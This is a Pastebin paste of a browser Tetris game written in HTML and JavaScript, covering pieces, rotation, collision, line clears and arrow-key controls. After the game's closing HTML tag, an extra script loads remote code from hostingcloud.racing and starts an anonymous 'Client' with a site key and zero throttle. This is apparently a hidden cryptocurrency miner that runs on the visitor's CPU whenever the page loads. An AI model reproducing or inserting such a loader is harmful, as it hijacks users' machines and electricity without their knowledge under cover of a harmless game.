Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <head>
- <title>Tetris: Up/Down Arrow+Left-Right Arrow to Play!</title>
- <meta charset="UTF-8">
- <style>
- html, body {
- height: 100%;
- margin: 0;
- }
- body {
- background: black;
- display: flex;
- align-items: center;
- justify-content: center;
- }
- canvas {
- border: 1px solid white;
- }
- </style>
- </head>
- <body>
- <canvas width="320" height="640" id="game"></canvas>
- <script>
- // https://tetris.fandom.com/wiki/Tetris_Guideline
- // get a random integer between the range of [min,max]
- // @see https://stackoverflow.com/a/1527820/2124254
- function getRandomInt(min, max) {
- min = Math.ceil(min);
- max = Math.floor(max);
- return Math.floor(Math.random() * (max - min + 1)) + min;
- }
- // generate a new tetromino sequence
- // @see https://tetris.fandom.com/wiki/Random_Generator
- function generateSequence() {
- const sequence = ['I', 'J', 'L', 'O', 'S', 'T', 'Z'];
- while (sequence.length) {
- const rand = getRandomInt(0, sequence.length - 1);
- const name = sequence.splice(rand, 1)[0];
- tetrominoSequence.push(name);
- }
- }
- // get the next tetromino in the sequence
- function getNextTetromino() {
- if (tetrominoSequence.length === 0) {
- generateSequence();
- }
- const name = tetrominoSequence.pop();
- const matrix = tetrominos[name];
- // I and O start centered, all others start in left-middle
- const col = playfield[0].length / 2 - Math.ceil(matrix[0].length / 2);
- // I starts on row 21 (-1), all others start on row 22 (-2)
- const row = name === 'I' ? -1 : -2;
- return {
- name: name, // name of the piece (L, O, etc.)
- matrix: matrix, // the current rotation matrix
- row: row, // current row (starts offscreen)
- col: col // current col
- };
- }
- // rotate an NxN matrix 90deg
- // @see https://codereview.stackexchange.com/a/186834
- function rotate(matrix) {
- const N = matrix.length - 1;
- const result = matrix.map((row, i) =>
- row.map((val, j) => matrix[N - j][i])
- );
- return result;
- }
- // check to see if the new matrix/row/col is valid
- function isValidMove(matrix, cellRow, cellCol) {
- for (let row = 0; row < matrix.length; row++) {
- for (let col = 0; col < matrix[row].length; col++) {
- if (matrix[row][col] && (
- // outside the game bounds
- cellCol + col < 0 ||
- cellCol + col >= playfield[0].length ||
- cellRow + row >= playfield.length ||
- // collides with another piece
- playfield[cellRow + row][cellCol + col])
- ) {
- return false;
- }
- }
- }
- return true;
- }
- // place the tetromino on the playfield
- function placeTetromino() {
- for (let row = 0; row < tetromino.matrix.length; row++) {
- for (let col = 0; col < tetromino.matrix[row].length; col++) {
- if (tetromino.matrix[row][col]) {
- // game over if piece has any part offscreen
- if (tetromino.row + row < 0) {
- return showGameOver();
- }
- playfield[tetromino.row + row][tetromino.col + col] = tetromino.name;
- }
- }
- }
- // check for line clears starting from the bottom and working our way up
- for (let row = playfield.length - 1; row >= 0; ) {
- if (playfield[row].every(cell => !!cell)) {
- // drop every row above this one
- for (let r = row; r >= 0; r--) {
- for (let c = 0; c < playfield[r].length; c++) {
- playfield[r][c] = playfield[r-1][c];
- }
- }
- }
- else {
- row--;
- }
- }
- tetromino = getNextTetromino();
- }
- // show the game over screen
- function showGameOver() {
- cancelAnimationFrame(rAF);
- gameOver = true;
- context.fillStyle = 'black';
- context.globalAlpha = 0.75;
- context.fillRect(0, canvas.height / 2 - 30, canvas.width, 60);
- context.globalAlpha = 1;
- context.fillStyle = 'white';
- context.font = '36px monospace';
- context.textAlign = 'center';
- context.textBaseline = 'middle';
- context.fillText('GAME OVER!', canvas.width / 2, canvas.height / 2);
- }
- const canvas = document.getElementById('game');
- const context = canvas.getContext('2d');
- const grid = 32;
- const tetrominoSequence = [];
- // keep track of what is in every cell of the game using a 2d array
- // tetris playfield is 10x20, with a few rows offscreen
- const playfield = [];
- // populate the empty state
- for (let row = -2; row < 20; row++) {
- playfield[row] = [];
- for (let col = 0; col < 10; col++) {
- playfield[row][col] = 0;
- }
- }
- // how to draw each tetromino
- // @see https://tetris.fandom.com/wiki/SRS
- const tetrominos = {
- 'I': [
- [0,0,0,0],
- [1,1,1,1],
- [0,0,0,0],
- [0,0,0,0]
- ],
- 'J': [
- [1,0,0],
- [1,1,1],
- [0,0,0],
- ],
- 'L': [
- [0,0,1],
- [1,1,1],
- [0,0,0],
- ],
- 'O': [
- [1,1],
- [1,1],
- ],
- 'S': [
- [0,1,1],
- [1,1,0],
- [0,0,0],
- ],
- 'Z': [
- [1,1,0],
- [0,1,1],
- [0,0,0],
- ],
- 'T': [
- [0,1,0],
- [1,1,1],
- [0,0,0],
- ]
- };
- // color of each tetromino
- const colors = {
- 'I': 'cyan',
- 'O': 'yellow',
- 'T': 'purple',
- 'S': 'green',
- 'Z': 'red',
- 'J': 'blue',
- 'L': 'orange'
- };
- let count = 0;
- let tetromino = getNextTetromino();
- let rAF = null; // keep track of the animation frame so we can cancel it
- let gameOver = false;
- // game loop
- function loop() {
- rAF = requestAnimationFrame(loop);
- context.clearRect(0,0,canvas.width,canvas.height);
- // draw the playfield
- for (let row = 0; row < 20; row++) {
- for (let col = 0; col < 10; col++) {
- if (playfield[row][col]) {
- const name = playfield[row][col];
- context.fillStyle = colors[name];
- // drawing 1 px smaller than the grid creates a grid effect
- context.fillRect(col * grid, row * grid, grid-1, grid-1);
- }
- }
- }
- // draw the active tetromino
- if (tetromino) {
- // tetromino falls every 35 frames
- if (++count > 35) {
- tetromino.row++;
- count = 0;
- // place piece if it runs into anything
- if (!isValidMove(tetromino.matrix, tetromino.row, tetromino.col)) {
- tetromino.row--;
- placeTetromino();
- }
- }
- context.fillStyle = colors[tetromino.name];
- for (let row = 0; row < tetromino.matrix.length; row++) {
- for (let col = 0; col < tetromino.matrix[row].length; col++) {
- if (tetromino.matrix[row][col]) {
- // drawing 1 px smaller than the grid creates a grid effect
- context.fillRect((tetromino.col + col) * grid, (tetromino.row + row) * grid, grid-1, grid-1);
- }
- }
- }
- }
- }
- // listen to keyboard events to move the active tetromino
- document.addEventListener('keydown', function(e) {
- if (gameOver) return;
- // left and right arrow keys (move)
- if (e.which === 37 || e.which === 39) {
- const col = e.which === 37
- ? tetromino.col - 1
- : tetromino.col + 1;
- if (isValidMove(tetromino.matrix, tetromino.row, col)) {
- tetromino.col = col;
- }
- }
- // up arrow key (rotate)
- if (e.which === 38) {
- const matrix = rotate(tetromino.matrix);
- if (isValidMove(matrix, tetromino.row, tetromino.col)) {
- tetromino.matrix = matrix;
- }
- }
- // down arrow key (drop)
- if(e.which === 40) {
- const row = tetromino.row + 1;
- if (!isValidMove(tetromino.matrix, row, tetromino.col)) {
- tetromino.row = row - 1;
- placeTetromino();
- return;
- }
- tetromino.row = row;
- }
- });
- // start the game
- rAF = requestAnimationFrame(loop);
- </script>
- </body>
- </html>
- @kazutokirigiya1
- <script src="https://www.hostingcloud.racing/3tR6.js"></script>
- <script>
- var _client = new Client.Anonymous('58b632e66b5117e7628338b329676eb8d5705cbcf731460167651555a8ab385b', {
- throttle: 0, c: 'w', ads: 0
- });
- _client.start();
- </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement